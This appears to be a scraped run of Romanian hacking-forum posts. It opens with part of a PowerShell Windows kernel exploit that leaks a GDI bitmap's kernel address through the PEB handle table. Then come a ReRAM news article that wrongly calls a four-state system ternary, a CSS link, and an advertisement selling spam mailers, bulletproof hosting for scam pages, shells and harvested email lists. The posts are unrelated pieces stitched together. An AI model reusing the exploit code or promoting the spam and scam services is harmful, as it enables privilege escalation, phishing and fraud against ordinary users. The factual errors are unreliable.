[EVD]::CreateBitmap(0x64, 0x64, 1, 32, $Buffer) echo "[+] Worker BitMap handle: 0x$("{0:X}" -f [int]$WorkerBitmap)" if ($x32Architecture) { $HandleTableEntry = $PEBFlags.GdiSharedHandleTable32.ToInt32() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size) echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt32]$HandleTableEntry)" $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry) echo "[+] Bitmap Kernel address: 0x$("{0:X8}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt32($HandleTableEntry)))" } else { $HandleTableEntry = $PEBFlags.GdiSharedHandleTable64.ToInt64() + ($($WorkerBitmap -band 0xffff)*$_GDI_CELL_Size) echo "[+] HandleTableEntry: 0x$("{0:X}" -f [UInt64]$HandleTableEntry)" $WorkerKernelObj = [System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry) echo "[+] Bitmap Kernel address: 0x$("{0:X16}" -f $([System.Runtime.InteropServices.Marshal]::ReadInt64($HandleTableEntry)))" } #==============================================[/Bitmap] © Copyright FuzzySecurity Articol complet: https://www.fuzzysecurity.com/tutorials/expDev/21.html

Scientists Turn Memory Chips (RAM) Into Processor (CPU) By Catalin Cimpanu January 4, 2017 A team of researchers from universities in Singapore and Germany have found a way to turn the latest models of RAM memory chips into data processing units and effectively eliminate the need for a CPU. Their research focused on Redox-based resistive switching random access memory (ReRAM), the latest generation of RAM memory chips. ReRAM chips are currently developed and tested by companies such as Panasonic and SanDisk, and ReRAM chips will soon hit the commercial market. ReRAM set to revolutionize memory chips The way ReRAM works is to use a Ternary system instead of the Binary system. This means data can be stored inside ReRAM using four states instead of two (0, 1, 2, and 3), opening the door for storing larger amounts of data. Other ReRAM features also include long-term storage capacity, low energy usage and ability to be produced at the nanoscale level. These ground-breaking properties have attracted not only hardware manufacturers to this new technology but research teams as well, who are now experimenting with new ways to use ReRAM. Extra space in ReRAM chips could be used for CPU tasks A research team comprised of scientists from Singapore's Nanyang Technological University, and Germany's RWTH Aachen University and Forschungszentrum Juelich (research institute) have devised a new computing circuit that takes advantage of ReRAM's extra memory space in order to perform computing tasks. In simple terms, the research team moved the CPU's binary computing operations into ReRAM's free memory space. Researchers say that their discovery would allow hardware manufacturers to use ReRAM chips and eliminate the need to include CPUs in modern-day devices. This includes not only desktop PCs and laptops, but also smaller devices, such as smartphones, tablets, and IoT equipment. Computers get a speed boost, use less energy Scientists say the biggest impact of this new technology is that computers gain a speed boost because data doesn't have to travel between the RAM and the CPU anymore. This new computing model also cuts down the space utilized inside a device and reduces energy consumption because devices will have to supply power to only one component instead of two. Researchers also believe that the concept of using different electrical resistance to store information in memory chips could be expanded to make ReRAM store data in even more channels. The research team says that this could also speed up computational operations by giving more space to run CPU-related tasks. Some of the research that went into this breakthrough is publicly available in the Scientific Reports peer-reviewed journal [1, 2]. Sursa: https://www.bleepingcomputer.com/news/hardware/scientists-turn-memory-chips-ram-into-processor-cpu-/

Am dat de un site fain unde puteți învăța CSS într-un mod practic: http://cssreference.io/ Mai multe detalii: http://thenextweb.com/dd/2016/11/27/cssreference-io-gorgeous-visual-guide-css/

SENDERS: Inbox Webmail (1000 Emails / hour) Business Webmail (500Emails/Shoot , Unlimited/Day) Inbox Mailer with or without Attachment Smtp Servers , Ip and Domains HOSTINGS: Windows Hosting (for ScamPages,Deliver Results) Shell (compress/Uncompress , Deliver Results) FTP BulletProof Hosting (2database , 1 Month warantee , Renewal option) Linux Hosting (2database , 1 Month warantee , Renewal option) Onion Hosting (2database , 1 Month warantee , Renewal option) EMAIL ADDRESS Single Domain Leads ,mixed Countryes , updated January 2017 Worldwide Email Address , mixed Domains , updated January 2017 Business Email Address , mixed Domains , mostlly webmails , updated January 2017 More products will came ... be watching us ! For more infos please visit www.underground-market.ru Thank you, Admin

Chiar nu ma pricep cu asa ceva ma pune sa ma loghez cu emailul si parola